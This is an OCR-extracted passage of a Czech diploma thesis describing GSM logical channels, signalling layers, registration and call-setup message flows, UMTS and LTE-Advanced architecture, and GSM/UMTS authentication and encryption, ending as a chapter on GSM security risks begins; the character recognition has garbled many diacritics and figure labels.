sledovan kazdou MS v okamziku kdy se nachazi ve stavu pohotovosti. [5][6]

Random Access Channel (RACH) — Tento kanal umoziuje MS odeslat pozadavek o
zahajeni komunikace. Po odeslani pozadavku na RACH nasleduje vyzva smérem k MS pomoci
kanalu AGCH. [5][6]

Access Grant Channel (AGCH) — Slouzi k ptidéleni samostatného signaliza¢niho kanalu
MS, ktera o n€j pozadala. [5][6]

DCCH

Pomoci téchto kandli je provadénd point-to-point signalizace mezi MS a BTS za
ucelem sestaveni hovoru, fizeni handoveru, procedury location update nebo k dalsim fidicim
funkcim.

Standalone Dedicated Control Channel (SDCCH) — samostatny signalizacni kanal
sestavuje hovory, provadi location update, fidi autentizaci a identifikaci uzivatele nebo slouzi
k ptenosu SMS zprav. Na rozdil od ostatnich DCCH neni tento kandl ptidruzen k zadnému
z dalSich kanali. [5][6]

Slow Associated Control Channel (SACCH) - tento pomaly ptidruzeny kanal zajistuje
signalizaci k existujicimu spojeni. Byva piidruzen ke kanalu TCH nebo SDCCH zpiisobem, ze
nahradi jeden z burstu TDMA ramce daného kanalu. [5][6]

Fast Associated Control Channel (FACCH) — Tento kanal mize byt ptidruzen ke

kanalu TCH, kterému ,,ukradne* jeden z jeho burstu v ptipad€ potieby. Toto slouzi predev§im
k signalizaci neo¢ekavanych udalosti jako je ukonc¢eni hovoru nebo handover. [5][6]

1.2.4.9 Kombinace kandali
Vsechny vySe popsané kanaly mohou byt provozovany na samostatném radiovém
kandlu ARFCN. Toto rozdéleni je vSak pro praxi v ohledu na omezené mnozstvi frekvenci
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nepouzitelné. Proto je umoznéno sdileni vSech logickych kanali na jediném fyzickém kanalu
ARFCN.

Tabulka 1.2: Prehled logickych kandlu

Logické kanaly Smér komunikace
Prenosové (TCH)
TCH/F obousmérny
TCH/H obousmérny
Signaliza¢ni (CCH)
BCH
BCCH downlink
FCCH downlink
SCH downlink
CBCH downlink
CCCH
PCH downlink
RACH uplink
AGCH downlink
DCCH
SDCCH obousmérny
FACCH obousmérny
SACCH obousmérny

Ve specifikaci GSM jsou ur¢eny nasledujici mozné kombinace[7][10]:

1) TCH/F + FACCH + SACCH

2) TCH/H + FACCH + SACCH

3) TCH/H + FACCH + SACCH + TCH/H

4) FCCH + SCH + BCCH +CCCH

5) FCCH + SCH + BCCH +CCCH + 4*SDCCH
6) BCCH +CCCH

7) SDCCH * 8 + SACCH *8

Kde kanal CCCH oznacuje kanaly PCH + RACH + AGCH +NCH.

Nejcastéji je pak provozovana konfigurace kdy pro TS 0 je zvolena moznost 4) FCCH +
SCH + BCCH + CCCH, pro TS 1 pak konfigurace 7) a zbyl¢ TS jsou ureny pro pienos
hovorovych dat v konfiguraci 1-3). Podrobn¢jsi informace k logickym kandltim je mozné nalézt
v [7], [10].
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1.2.5 Um-Spojova vrstva

Tato Cast se bude podrobné¢ji vénovat popisu druhé vrstvy rozhrani Um. Signalizacni
protokol provozovany na spojové vrstvé se nazyvd LAPDm a jednd se o upravenou variantu
Link Access Protocol on the D channel (LAPD), ktery je pouzivan v systémech ISDN.

Jak bylo v ptedchozich kapitolach zminéno, signalizace i hovorova data jsou na radiové
vrstvé odesilany pomoci burstii. Spojova vrstva je vSak definovana pouze pro signalizacni
kanaly (CCH) a ne pro ptenosové kanaly (TCH) .

Komunikace na této vrstvé mize byt dle zpiisobu potvrzovani ptijatych dat rozdélena na
potvrzovanou a nepotvrzovanou komunikaci. V piipadé potvrzované komunikace jsou data
odesilana prostiednictvim informacnich (I) ramct, jejichz piijeti je vzdy potvrzovano (positive
acknowledgment). Tento typ je mozné pouzit pouze pro kandly DCCH. V piipadé
nepotvrzované komunikace jsou data posilana prostiednictvim necislovanych mnformacnich
ramct (UI — unnumbered information) ramcid. Tato komunikace neumoziuje na této vrstve
fizeni provozu (flow control) nebo ochranu proti chybam. Tento zplsob je ur¢en pro kanaly
BCCH, PCH a AGCH. [3][5][9]

V piipade, Ze celkova délka ramce neni 23 byt je ramec doplnén dopliikovymi (fill)
bity.[5] Tato sekvence je definovana jako (0010 1011), coz v hexadecimdlnim zapisu odpovida
hodnoté (2b);s. Této vlastnosti systému GSM bylo nasledné vyuzito pro prolomeni Sifrovani,
toto je popsano v kapitole 4.2.

1.2.6 Uy — Sitova vrstva

Sitova vrstva je dale rozdélena na 3 podvrstvy, kdy jedna z podvrstev je dale rozdélena
na 3 ¢asti. Na rozdil od spojové vrstvy, ramce na sitové vrstvé nemaji definovanu pevnou dé lku.
Na sitové vrstvé tedy rozliSujeme [8]:

1) RR (Radio resource management) — vrstva spravy radiovych zdroja, ktera tidi
konfiguraci logickych a fyzickych kanali rozhrani U,, fidi napt. handover nebo
spravu vykonu.

2) MM (Mobility management) — tato podvrstva fesi funkce souvisejici s mobilitou
ucastnikd — aktualizace polohy, identifikace a autentifikace Castnika.

3) CM (Comunication management) — sprava komunikace, je dale rozdélena na 3
podvrstvy

a. SS (Supplementary services) — obstardva spravu doplikovych sluzeb a
funkci systému GSM

b. SMS (Short Message Service) — fesi pfijimani a odesilani SMS zprav

c. CC (Call Control) — zajistuje vytvareni, udrzovani a ukon¢ovani hovorti

V nasledujicich podkapitolach jsou podrobnéji rozebrany vybrané podvrstvy, na které je
dale odkazovano v této praci.
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1.2.6.1 Radio Resource Management

V ramci sitové vrstvy se jednd o nejniz§i podvrstvu, jejimz hlavnim ukolem je
ptidelovani a ud¢lovani logickych kanal.. Nékteré ze zprav, které tato podvrstva vyuziva, jsou
popsany nize v tabulce 1.3, podrobnéj$iinformace je pak mozno nalézt v [8§].

Tabulka 1.3: Zpravy podvrtvy RR

Nazev Smér Popis

Channel Re quest MS->BTS MS odesila pozadavek na ptidéleni
kanélu pro sestaveni nasledné

komunikace. Obsahuje diivod
pozadavku (napt. odpoved na
paging) a ndhodné ¢islo jako
referenci pro odpoved.

Cipher Mode Command BTS->MS Piikaz pro zactek Sifrovani
komunikace na Um rozhrani,

obsahuje informace o pouzitém
Sifrovani (A5/x)

Immediate Assignme nt BTS->MS Zprava ptitazujici kanal pro dalsi
komunikaci. Umoziuje urcit fyzicky
kanal ARFCN, logicky kanal, TS
nebo informace pro uréeni sekvence
frekvenénich pteskokd.

1.2.6.2 Mobility Management

Podvrstva MM vyuziva kanalu vytvoreného pomoci RR pro spravu mobility uzivateli.
Obstarava spravu polohy, fizeni pagingu a autentizaci uzivatell. Nekteré zpravy vyuzivané
touto podvrstvou jsou uvedeny v tabulce 1.4.[5][8]

1.2.6.3 Call Control

Tato podvrstva obstarava sestavovani a ukoncovani hovori na zakladé spojeni
sestaveného na podvrstvé MM. Tabulka 1.5 popisuje nékteré ze zprav CC. Podrobnéjsi popis je
mozno nalézt v [8].

1.2.7 Scénare komunikace

V této casti je popsano vyuziti logickych kandli a fidicich zprav v rdmci scénait
komunikace mezi MS a BTS, na které je dale odkazovano v praktické casti této diplomové
prace.

1.2.7.1 Registrace do sité

Location Registration, je zvlastni pripad Location Update, kdy probiha registrace MS do
sit€¢ a MS se identifikuje pomoci IMSI, jelikoz jest¢ nemd piidélenu aktualni docasnou
identifikaci TMSI. Pribéh registrace je zobrazen na obrazku 1.6 a)
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Tabulka 1.4: Zpravy podvrstvy MM

Nazev Smér

Popis

Location Update Re quest MS->BTS

Authentication Re quest BTS->MS

TMSI Reallocation BTS->MS
Commnad

Pozadavek M S o zahajeni procesu
aktualizace polohy, obvykle
obsahuje informace o LAI,

TM SI/IM SI a podp orovany ch
typech Sifrovani. LUR mize
probihat periodicky nebo v pfipadé
ptihlaseni M S do sité.

Obsahuje nahodnou hodnotu
RAND, ktera slouzi k vypoctu
SRES, popis autentizace je popsan
v kap. 2.1.

V piipadé Gsp&sného Location
Update je M S touto zpravou
pfifazena hodnota TM SI.

Tabulka 1.5: Zpravy podvrstvy CC

Nazev Smér

Popis

Allerting MS<->BTS

Setup MS<->BTS

Connect MS<->BTS

V piipadé ptichoziho hovorutato
zprava oznamuje zahajeni
vyzvanéni. V ptipadé odchoziho
hovoru pak BTS oznamuje M S
zacatek vyzvanéni u volaného.

Op¢& je odesilana v ptipadé
odchoziho i pfichoziho hovoru. Nese
informace o ¢isle
volaného/volajictho (M SISDN), typ
prenosového kanalu (full/half rate).

Touto zpravou M S oznamuje piijeti
ptichoziho hovoru. V piipadé
odchoziho hovoru oznamuje BTS
uspésné vytvoreni spojeni.
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V prvnich dvou krocich probiha proces sestaveni spojeni. Nejprve zadda MS
prostiednictvim RACH o pfidéleni kanalu pro komunikaci (CHANnel REQuest), obsahujici
divod pozadavku (Location Update) a referencni hodnotu, ktera nasledné¢ identifikuje
nasledujici zpravu IMMediate ASSignment CoMmanD, aby MS védéla, ktera odpoved je
ur¢ena pro piedchozi pozadavek, Immediate Assignment Command pfidéli MS kanal SDCCH
ur¢eny ARFCN a TS. Sestaveni spojeni je fizeno podvrstvou RR.

Po pfistupu na pridéleny kanadl SDCCH, odesle MS  pozadavek
LOCation UPDate REQuest. Tento pozadavek slouzi jako potvrzeni o prijeti Imm. Ass.
Command a obsahuje IMSI a piedchozi hodnotu oblasti — LAI Jedna se o zpravu podvrstvy
MM a ptijeti této zpravy musi byt potvrzeno ze strany BTS.

Nasleduje autentizani faze, autentizace je fizena podvrstvou MM. Odpovédi MS
(AUTHentication RESponse) na pozadavek o autentizaci (AUTHentication REQuest) je SRES
vypocteny na zdkladé nahodné hodnoty RAND v tomto pozadavku. Podrobnéji je proces
autentizace popsan v kapitole vénujici se zabezpeceni - 2.1.1.

V ptipade, kdy ma byt nasledujici komunikace Sifrovana nasleduje ze strany sité¢ zprava
CIPHer MODe CoMmanD, ucujici pouzity Sifrovaci algoritmus A5/0-3. V okamziku kdy je
tato zprava potvrzena MS pomoci CIPHer MODe COMplete je obousmérnd komunikace
Sifrovéna.

Na Sifrovaném kanalu pak mize probé¢hnout zaslani riznych identifikatort MS (IMEI,
IMEISV, IMSI, TMSI) pomoci zprav IDENTity REQuest/RESpones.

Pridéleni nové hodnoty TMSI je pak provedeno pomoci
TMSI_REALlocation CoMmanD, jehoZ prijeti je potvizeno TMSI_REALocation COMplete.
Cela procedura registrace je nasledn¢ ukon¢ena zaslanim Zpravy
LOCation UPDate ACCept.[5][6]

1.2.7.2 Odchozi hovor

Pro pribéh odchoziho hovoru (MOC — Mobile Originating Call) rozliSuje specifikace
GSM 3 rizné pribéhy sestaveni hovoru. Rozdilnost je v okamziku, kdy je MS ptidélen
prenosovy kanal TCH

Very Early Assignment — Na pozadavek o odchozi hovor je ihned ptidélen TCH a
veskera signalizace sestavovani hovoru probihd prostfednictvim pfidruzeného signalizacniho
kanalu FACCH, tento zptsob vsak vede ke zbyte¢né alokaci TCH i v pfipadé, kdy neni hovor
nakonec sestaven a proto neni v praxi piili§ vyuzivan.

Early Assignment — V tomto piipad¢ je nejprve pridélen samostatny signaliza¢ni kanal
SDCCH pro pocate¢ni inicializaci hovoru (autentizace, Sifrovani, call setup), hovoru je
dedikovan ptenosovy kanal az v okamziku pied zac¢atkem vyzvanéni.

Late Assignment — Priib&h spojeni je velice podobna Early Assignment, rozdil je v tom,
7e k sestaveni hovoru dojde az po prijeti hovoru ze strany volaného.
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Nize je podrobné¢ji popsan pribéh Early Assignment, ktery je nejcastéji vyuzivanym
zpisobem sestavovani hovortl. Pribéh je pak zobrazen na obrazku 1.6 b)

Nejprve dojde stejné¢ jako v ptripadé registrace k pozadavku MS o ptid€leni kandlu
(Channel Request/Immediate Assignment Command). Na piidéleném signalizacnim kandlu
zasSle MS pozadavek o sluzbu — CM_SERVice REQuest, identifikujici pozadovanou sluzbu,
hodnotu TMSI, a identifikaci o pouzitém Sifrovacim klici — CKSN — Ciphering Key Sequence
Number. Zahajeni Sifrovani je pak shodné s pribéhem v predchozim scénafi.

Po potvrzeni sluzby a sestaveni spojeni na vrstvé MM (CM Service Accept) odesle MS
zpravu CALL SETUP — obsahujici ¢islo volaného ( MSISDN). Po ovéfeni moznosti spojeni
nasleduje potvrzeni prijeti hovoru — CALL PROCeed. Nasledné¢ dojde k pridéleni prenosového
kanalu pomoci ASSignment CoMmanD.

Jako potvrzeni prechodu na TCH zasle MS prazdnou zpravu, ktera je poté potvrzena i
ze strany sité. Nasledna signalizace probiha prostfednictvim FACCH. Do okamziku piijeti
hovoru na stran¢ volaného je ze strany sit¢ odesilana zprava ALLERT informujici o vyzvanéni.

Po prijeti hovoru je zaslana zprava CONnect a nasleduje vyména hlasovych dat prostfednictvim
TCH.[5][6]

1.3 3. generace

Po rozmachu hovorovych sluzeb v siti GSM se v 90. letech minulého stoleti zacala
rozvijet poptavka po datovych sluzbach v této siti. Nékdy jsou jako systémy 2,5. generace
prezentovany nadstavby nad GSM siti umoziujici datové prenosy — GPRS, EDGE. Tyto sluzby
vsak poskytuji jen omezenou prenosovou kapacitu a rychlost, a proto bylo potieba vytvorit cely
novy systém, ktery poskytne Sirokopasmovy ptistup k datovym sitim.

Ptehled nekterych pozadavki na systémy 3. generace[2]:

e Zvyseni prenosovych rychlosti sou¢asnych systémi 2. generace na hodnoty az
2 Mbit/s

o Lepsi vyuziti radiovych frekvenci (vyssi spektralni u¢innost modulaci, u¢nné;jsi
zdrojové a kanalové kodovani)

e Malé a levné terminaly pro rizné typy aplikaci

o Siroké spektrum shuzeb s riznym stupném kvality

1.3.1 Historie a vyvoj UMTS

Organizace ITU proto zahdjila prvni pfipravné kroky pro definovani nové sité tieti
generace. Projekt pod nazvem IMT-2000 (International Mobile Telecommunications 2000) ma
své kofeny uz vroce 1985. Cislovka 2000 znamena vyuziti frekvence v oblasti 2000MHz,
prenosovou rychlost 2000 kbps a definici do roku 2000. V roce 1992 pak bylo na mezinarodni
konferenci WRC 92 v Malaze rezervovano padsmo 1885-2025 a 2110 a 2200 pro vyuziti
v systémech IMT-2000. [1]
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5]

MS Network

RACH/RR
CHAN_REQ ( “noc urDp” ,REF)

AGCH/RR
IMM_ASS_CMD (ARFCN, TIME-SLOT,REF)

SDCCH/MM
LOC_UPD_REQ (ms1.LAIgg)

SDCCH/MM ack
LOC_UPD_REQ (1ms1,LAIy)

SDCCH /MM
AUTH_REQ (cKsN, RAND)

SDCCH /MM
AUTH_RSP (srEs)

SDCCH,/RR
CIPH_MOD_CMD (a5/x)

SDCCH/RR
CIPH_MOD_COM ()

SDCCH /MM
IDENT_REQ (“mmE1")

SDCCH/MM
IDENT_RSP (mmEI)

SDCCH/MM
TMSI_REAL_CMD (Tms1)

SDCCH/MM
TMSI_REAL_COM ()

SDCCH/MM
LOC_UPD_ACC

a) Registrace do sité

RACH/RR

CHAN_REQ (“cALL” ,REF)

AGCH/RR

IMM_ASS_CMD (ARFCN,TIME-SLOT,REF)

SDCCH/MM

CM_SERV_REQ (SERV,CKSN,TMSI)

SDCCH/MM ack

CM_SERV_REQ (sERv,CKSN,TMSI)

SDCCH/RR

CIPH_MOD_CMD (a5/x)

SDCCH/RR

CIPH_MOD_COM ()

SDCCH/CC

SETUP (msispw)

SDCCH/CC

CALL_PROC

SDCCH/RR

ASS_CMD (ARFCON,TIME-SLOT)
FACCH/-

FACCH/- ack

FACCH/RR

ASS_COM

FACCH/CC

ALERT

FACCH/CC

CON

FACCH/CC

CON_ACK

b} Odchozi hovor - Early Assignment

Obrazek 1.6: Pritbéh pridélent kanalii a vymeny zprav mezi MS a siti
[Zdroj: VAN DEN BROEK, Fabian. Catching and Understarstanding GSM-Signals]

V brzké dobé doslo k rozdéleni vyvoje systému 3. generace na dva hlavni sméry —
UMTS pro Evropu a CDMA2000 pro oblast USA. Vyvoj syst¢ému UMTS byl pieveden pod
nové vytvorenou organizaci 3GPP, ktera publikovala prvni specifikaci v roce 1999.

Vlastnosti Release 99[2]:

hovorovy kandl 64 kbps
paketovy ptenos 384 kbps
lokaliza¢ni sluzby
kompatibilita s GSM
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e kvalita hlasového prenosu

Tento standart polozil zaklad pro budovani UMTS sit¢ v Evropé. Do dnesni doby bylo vydano
n¢kolik dalsich specifikaci, které se predevSim vénuji zkvalitiiovani sluzeb, prechod jadra
systému na protokol IP a navySovani pienosové rychlosti a kapacity. Prvniho komer¢niho
nasazeni se sit UMTS dockala vroce 2001 v Norsku. Problémem vsak byla nedostupnost
koncovych zatizeni, které se postupné dostavaly na trh az ke konci nasledujic tho roku.

1.3.2 Struktura sit¢ UMTS

Systémy 2. generace byly primarné zameieny na prenos hlasovych dat, zatimco UMTS
je systém prindsejici predevsim Sirokopasmovy datovy pristup.[2]

Pro sité 3. generace byla zvolena technologie CDMA (Code Division Multiple Access),
coz je pristupova metoda kodového déleni. Pro UMTS je pouzita jeji Sirokopasmova
varianta W-CDMA (Wideband CDMA. Na rozdil od TDMA u GSM u CDMA neexistuje zadné
déleni na jednotlivé TS a vSichni uzivatelé¢ pouzivaji pridélené frekvencni pasmo po celou dobu.
Aby bylo umoznéno rozpoznani jednotlivych uzivateli vyuzivajicich jedno frekvencni pasmo
soucasn¢, dochazi k pridéleni bindrniho koédu jednotlivym uzivatelim. Frekvencni spektrum se
sklada z parového pasma (1920-1980 MHz + 2110-2170 MHz) a neparového pasma (1910-1920
MHz + 2010-2025 MHz).[2] Podle typu pasma se pouzivaji rozdilné metody pro duplexni
provoz:

e FDD (Frequency Division Duplex) pro parové pasmo;
e TDD (Time Division Duplex) pro pAsmo neparové.

Podobné jako u systému GSM lze i UMTS rozdélit do n€kolika zakladnich funkénich
¢asti, toto rozdéleni popisuje obrazek 1.7.

/ /] /‘./

A

Node s UTRAN |

Obrazek 1.7: Architektura systému UMTS
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1.3.2.1 MS
Mobilni stanice systému UMTS je obdobou MS v systému GSM, je tvofeno mobilnim
zatizenim (ME) a USIM (Universal Subscriber Identity Module). USIM pridava predevSim

podporu novych bezpecnostnich prvki jako je vzajemna autentizace MS a Node B nebo pouziti
delsich Sifrovacich klict.[2]

1.3.2.2 UTRAN

UTRAN je zkratkou pro radiovou piistupovou sit’ pro UMTS (UMTS Terrestrial Radio
Access Network). Piedstavuje tu cast sité, kterd zprostfedkovava radiovy prenos , fizeni a
prid¢lovani radiovych kanald. Jednd se o obdobu BSS v systému GSM. Podobné jako BSS je i
UTRAN slozena ze dvou zakladnich jednotek[2]:

Node B — zakladnova stanice systému UMTS (obdoba BTS u GSM)

RNC (Radio Network Controller) — fidici jednotka syst¢ému UMTS (obdoba BSC u
GSM)

1.3.2.3 CSN

CSN (Circuit switched network) je oznaceni pro puvodni prvky systému GSM
vyuzivané predevSim k uskute¢iiovani hovori pomoci pfepinani okruhll. Tato cast je dale
propojena s vetejnou telefonni siti.[2]

1.3.2.4 PSN
Tato cast sit¢ vychazi zprvkt vyuzitych jiz pro GPRS a slouzi k ptenosu dat
prostfednictvim paketové sité.[2]

SGSN (Serving GPRS Support Node)- prvek tidici paketovy prvek

GGSN (Gateway GPRS Support Node) — Rozhrani pro propojeni vnitini sité operatora
s globani siti — v dnesni dob€ predevsim siti Internet.

1.4 4. generace

Ctvrta generace mobilnich telekomunikaénich siti si klade za ukol obslouzit stile se
zvySujici pozadavky uzivatelli na prenosovou kapacitu. Systém vedle poskytovani klasickych
hovorovych a dalkich sluzeb znamych ze systému 2. a 3. generace je rozSifen o
vysokorychlostni datovy piistup, aby bylo mozné vyuzivat sluzeb pristupu k Internetu, VolP,
mobilni TV, cloud-computing apod.

Pojem 4. generace je pouze komer¢nim oznacenim pro specifikaci definovanou ITU-R
pod nazvem IMT-Advanced (International Mobile Telecommunications). V Bfeznu roku 2008
bylo organizaci ITU-R piijato n€kolik pozadavki pro sit¢ IMT-Advanced[12][27]:

e Pienosova rychlost 100 Mbit/s pro komunikaci s rychle se pohybujicim zafizenim

e Pienosova rychlost 1 Gbit/s pro stacionarni a pomalu pohybujici se zatizeni

e Vzajemna kompatibilita s ostatnimi sit¢mi
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e Celosvetova pouzitelnost systému
e Skalovatelnost $itky radiového kanalu podle potieby

Prvni technologii pln¢ spliujici pozadavky pro IMT-Advanced je standart LTE-
Advanced schvéleny v Bfeznu 201 1. LTE-Advanced navazuje na svého predchiidce LTE, ktery
ackoliv je nékdy oznaCovan za sit’ 4. generace v materialech operatorti nespliiuje pozadavky
definované ITU-R. Na vyvoji LTE-A se podilela ptedevsim organizace 3GPP, ktera také stala
za specifikaci 3G systému UMTS.

Nekteré vlastnosti systému LTE-Advanced[12]:

e Skalovatelnost §itky pasma aZ na 100MHz

e Vyuziti vice antén umoznujici vicenasobny MIMO (Multiple Input/Multiple
Output) ptistup.

e Asymetricka $ftka pasma pro FDD

e Automaticka konfigurace sité

e Az3.3 Gbit/s ptenosova rychlost

Prvni LTE-A sit¢ jsou od roku 2013 provozovany vJizni Koreji a Rusku.
Zatim je na trhu dostupny pouze omezeny pocet zafizeni podporujicich tuto technologii a
vyrazny nastup lze o¢ekavat az v nasledujicich letech.
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2 Zabezpeceni v GSM/UMTS sitich

2.1 Zabezpeceni sit¢ GSM
Bezpecnost sit¢ GSM je postavena na 4 zakladnich bodech.[2][13]

e autentizace uzivatele
e utajeni identity uzivatele
e utajeni pfenasenych dat

e utajeni signalizace

Zajisténi zabezpeceni sit¢ ma na starost n€kolik jejich casti. Konkrétn¢ se jedna o
Subscriber Identity Module (SIM), mobilni zatizeni (MS) a centrum autenti¢nosti (AUC).

SIM - obsahuje mimo jiné IMSI (International Mobile Subscriber Identity), tajny klic

K, dale algoritmus pro generovani §ifrovaciho kliCe A8, autentizacni algoritmus A3 a osobni
identifikacni ¢islo PIN.

Mobilni stanice - obsahuje Sifrovaci algoritmus AS.

AUC - obsahuje databdzi s identifikacnimi a autentizaénimi udaji uzivateld sité. V
databazi jsou ulozeny IMSI, TMSI (Temporary Mobile Subscriber Identity), LAI (Location
Area Identity) a tajny kli¢ K;, ktery je unikatni pro kazdého uzivatele.

Z obecného pohledu je nejzranitelng€j$i bezdratova cast sit¢, kde probiha samotna
komunikace mezi MS a BTS, kterd je Sffena volnym nezabezpecenym prostredim. Nekterymi
z metod pro zabezpecCeni prenosu jsou napt. pielad’ ovani vysilaci frekvence, kanalové kodovani,
digitalni modulace GMSK nebo ovéteni ticastnika.

2.1.1 Autentizace uzivatele

Autentizace uZivatele se provadi pii ptistupu uzivatele do sité. Systém GSM oveéri
identitu uZzivatele pomoci mechanismu challenge-response. BTS odeslanim 128 bitového
ndhodného ¢isla RAND vyzve mobilni stanici k vypoctu ovéené odpovédi SRES. Hodnota
SRES je vypoctena na zdklad¢ znalosti K; a RAND a implementaci algoritmu A3. tzn. SRES =
A3(K;, RAND). MS pak posle vyslednou hodnotu zpatky do sit¢, kde je v registru VLR
proveden obdobny vypocet se stejnymi hodnotami. Pokud sit’ dojde ke stejnému vysledku, jako
obdrzela od MS, je autentizace GspéSna. Pokud ne, dojde k ukonceni spojeni.[13]

Schéma autentizace uZzivatele je na obrazku 2.1.
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Obrazek 2.1: Autentizace uZivatele

2.1.2 Utajeni identity uZivatele

Jak bylo popsano vyse, Cislo IMSI slouzi k jednoznacné identifikaci uzivatele v ramci
sit¢ a je ulozeno na SIM karté. Aby dosSlo ke snizeni rizika zneuziti IMSI zavadi se po
autentizaci uzivatele docasny identifikaitor TMSI (Temporary Mobile Subscriber Identity).
TMSI je docasné ulozeno na SIM a v registru VLR. TMSI se vztahuje jen k lokalité, v niz bylo
vydan. V piipadé¢ presunu do jiné lokality je vydano nové TMSI. Konfigurace GSM sité
umozije prubéznou zménu TMSI i v ptipadé, kdy nedochazi k ptechodu mezi lokalitami —
tento mechanismus posiluje utajeni identity uzivatele.[13]

2.1.3 Utajeni prenaSenych dat a signalizace

Pribeh Sifrovani v systému GSM je zalozen na proudové Siffe AS, kdy je k bitové
posloupnosti dat pricitana hodnota Sifrovaci posloupnosti (tzv. keystream). Proces Sifrovani v
systtmu GSM je popsan obrazkem 2.2. V registru HLR (AuC) je vygenerovano ndahodné
¢islo RAND. Na zaklad¢ tohoto Cisla je pak s pomoci autentizacniho klice K; podle Sifrovaciho
algoritmu A8 vygenerovan §ifrovaci klic K.. Tato trojice (RAND - 128 bitti, SRES - 32 biti a
K. - 64 bitl) je predana do registru VLR, kde je po dobu spojeni uchovana.[2] BTS pak preposle
¢islo RAND mobilni stanici, ktera na SIM karté obdobnym procesem opét vygeneruje klic K..
Vstupem pro algoritmus A5 je 64 bitovy Sifrovaci klic, 22 bitové Cislo TDMA ramce a vlastni
data urcena k Sifrovani. Z diivodu vypocetni naro¢nosti tohoto algoritmu jiz neni uloZzen na SIM
karté, ale je implementovan na koncovych mobilnich zatizenich. Pokud v pribéhu hovoru
dochazi k handoveru, tak se Sifrovaci kli¢ neméni. Z vySe zminéného tedy vyplyva, ze ani pii
sifrovani nedojde k prenosu klice radiovym rozhranim a jsou prenasena pouze hodnoty RAND a
vlastni §ifrovana data.[2]

-27 -



Zabezpeceni v GSM/UMTS sitich

Implementace algoritmi A3 a A8 neni zdvazn¢ specifikovana a ponechava tak urcitou
volnost domluvy mezi operdtorem a vyrobcem SIM karet.[2]

MS Radiova Pevna ¢ast
komunikace sité

Generator nahodnych éisel

Ki RAND

Ke

ulofeno

<+ SM

Zabezpecena komunikace

Obrazek 2.2: Utajeni prenasenych dat

Pro moznost vyuziti vsystétmu GSM jsou popsany nasledujici typy Sifrovaciho
algoritmu AS :

e A5/0- zadné Sifrovani

e A5/1- proudova Sifra vyuzivajici 64 bitového klice

e A5/2- implementacni varianta A5/1 urcena pro export mimo zem¢ Evropy a
USA, podstatné¢ slabSi zabezpeCeni, umoziujici real-time prolomeni.
V soucasnosti se témet nepouziva

e A5/3- blokova Sifra nazyvana také KASUMI vyuziva 128bitového Sifrovaciho
klice, s 64 bitovym datovym vstupem i vystupem. Jedna se o podstatné zesileni
bezpecnosti, ackoliv se tato Sifra ukazala jako akademicky prolomitena.

Algoritmus A5/1 je zalozen na kombinaci 3 posuvnych registri s linearni zpétnou
vazbou (LSFR — Linear Shift Feedback Register). Délka registrti je 19,22 a 23 bitd. Pocatecni
stav Sifry je urCen Sifrovacim klicem K, a ¢islem TDMA ramce. Nasledné dojde k zahozeni
vystupu pro prvnich 100 cykld. Nyni je algoritmus pfipraven vytvorit 114 bitovou vystupni
sekvenci Sifrovanych resp. desifrovanych dat.[14] Sifrovaci algoritmus je graficky znazornén na
obrazku 2.3

-28 -



Zabezpeceni v GSM/UMTS sitich

18[17]16 13 8
(),
21[20 10
{F\Ll
22|21|20 10 7
(N T

Obrazek 2.3: Algoritmus A5/1
[Zdroj: http://en.wikipedia.org/wiki/A5/1]

2.2 Zabezpecleni sit¢ UMTS

ZabezpecCeni siti 3. generace ve velké mife vychazi z bezpecnostnich prvkl vyuzivanych
u siti pfedchozi generace. Pti tvorbé zabezpeceni pro 3G sité se vyvojati zaméfili pfedevsim na
znamé zranitelnosti GSM systému. Jelikoz je sit UMTS tvofena s ohledem na Sirokopasmovy
datovy ptistup je potieba zohlednit lepsi zabezpeceni prenasenych dat.

Architektura zabezpeceni 3G siti se sklada z nasledujicich ¢asti[21][13]:

e Zabezpeceni pristupové sit€¢ - Zde je opet kladen dliraz na utajeni identity uzivatele,
autentizaci uzivatele, bezpecnost a integritu dat. Pro utajeni identity je vyuzita
docasna identita, na rozdil od GSM je kladen diiraz na Castéjsi zménu této identity
tak, aby uzivatel nemohl byt dlouhodob¢ identifikovan. Pro posileni autentizace
bylo zvoleno vzajemné ovéfeni Ucastnika sit€. Pro zajiSténi vySSi bezpecCnosti
prenasenych dat nejsou dale podporovany Sifrovaci algoritmy AS5/1 a A5/2. S tim
souvisi vyuziti 128 bit Sifrovaciho klice i v rdmci SIM. PfedevSim pro ochranu
signaliza¢nich dat byl zaveden mechanismus pro kontrolu integrity prenasenych
zprav. Tato vlastnost umoznuje vzdy zkontrolovat, zda prijatd zprava nebyla zména
a pochazi z ovéteného zdroje.
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e ZabezpecCeni sitové domény - Na rozdil od GSM se specifikace UMTS zaobira
zabezpecenim komunikace uvnité sit¢ operatora a pii komunikaci mezi sit€émi
ruznych operatort.

e Zabezpeceni uzivatelské domény - Umoziiuje zabezpecit MS proti zneuziti. Stejné
jako v GSM je zde vyuzito PIN kodu.

e Aplikacni zabezpeceni — Vlastnosti umoziujici zabezpeceni uzivatelskych aktivit
v ramci sité operatora.

e Ovéritelnost a konfigurovatelnost zabezpeceni — Dava moznost uzivateli ovefit si,

zda jsou hovory a data prendSena zabezpecenym radiovym kandlem, napt. pomoci
indikacni ikony na MS.
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3 Bezpecnostni rizika GSM

V predchozi kapitole jsem vas seznamil se zakladnim zabezpecenim GSM siti proti
zneuziti. V této Casti bych chtél poukazat na mozné bezpecnostni rizika, ktera plynou z vlastni
struktury a fungovani GSM sité.

Na rizika pii mobilni komunikaci Ize pohlizet ze dvou stran — z pohledu koncového
uzivatele a pohledu operatora sit¢. Zakladnim pozadavkem obycejného uzivatele je zaplatit
pouze za sluzby, které mu byly poskytnuty. Dle architektury GSM sit€ je za toto odpoveédna
autentizace uzivatele vuci siti pomoci tajného klice — dojde-1i tedy k tiniku tohoto kli¢e, miize
pak utocnik provadét hovory na ucet obéti. K dal§im pozadavkiim zakaznika patii zabezpeceni
prenasenych dat proti odposlechu. Uz z podstaty bezdratového provozu vyplyva ve srovnani
s metalickym vedenim mnohem jednodus$i piistup utocnika k ptenosovému kanalu. Z tohoto
divodu je potieba pienasena data Sifrovat dostatecné silnym zabezpe€enim, které v§ak nebude
narusovat provoz sit¢ napf. nadmérmym datovym tokem, zvySenou chybovosti nebo naklady.
Dojde-1i proto k uniku kli¢e pro Sifrovani jsou data libovolné piistupna titoénikovi.

Z pohledu operatora mobilni sit¢, jehoz hlavnim cilem je finan¢ni zisk, je zabezpeceni
stejn¢ dalezité jako kvalita sluzeb. Pti zneuziti sit€¢ mize dojit k piimé financni ztrat¢ formou
zneuziti jeho sit€ pro cizi sluzby nebo k neptfimym ztratdm, kdy dochazi k odchodu koncového
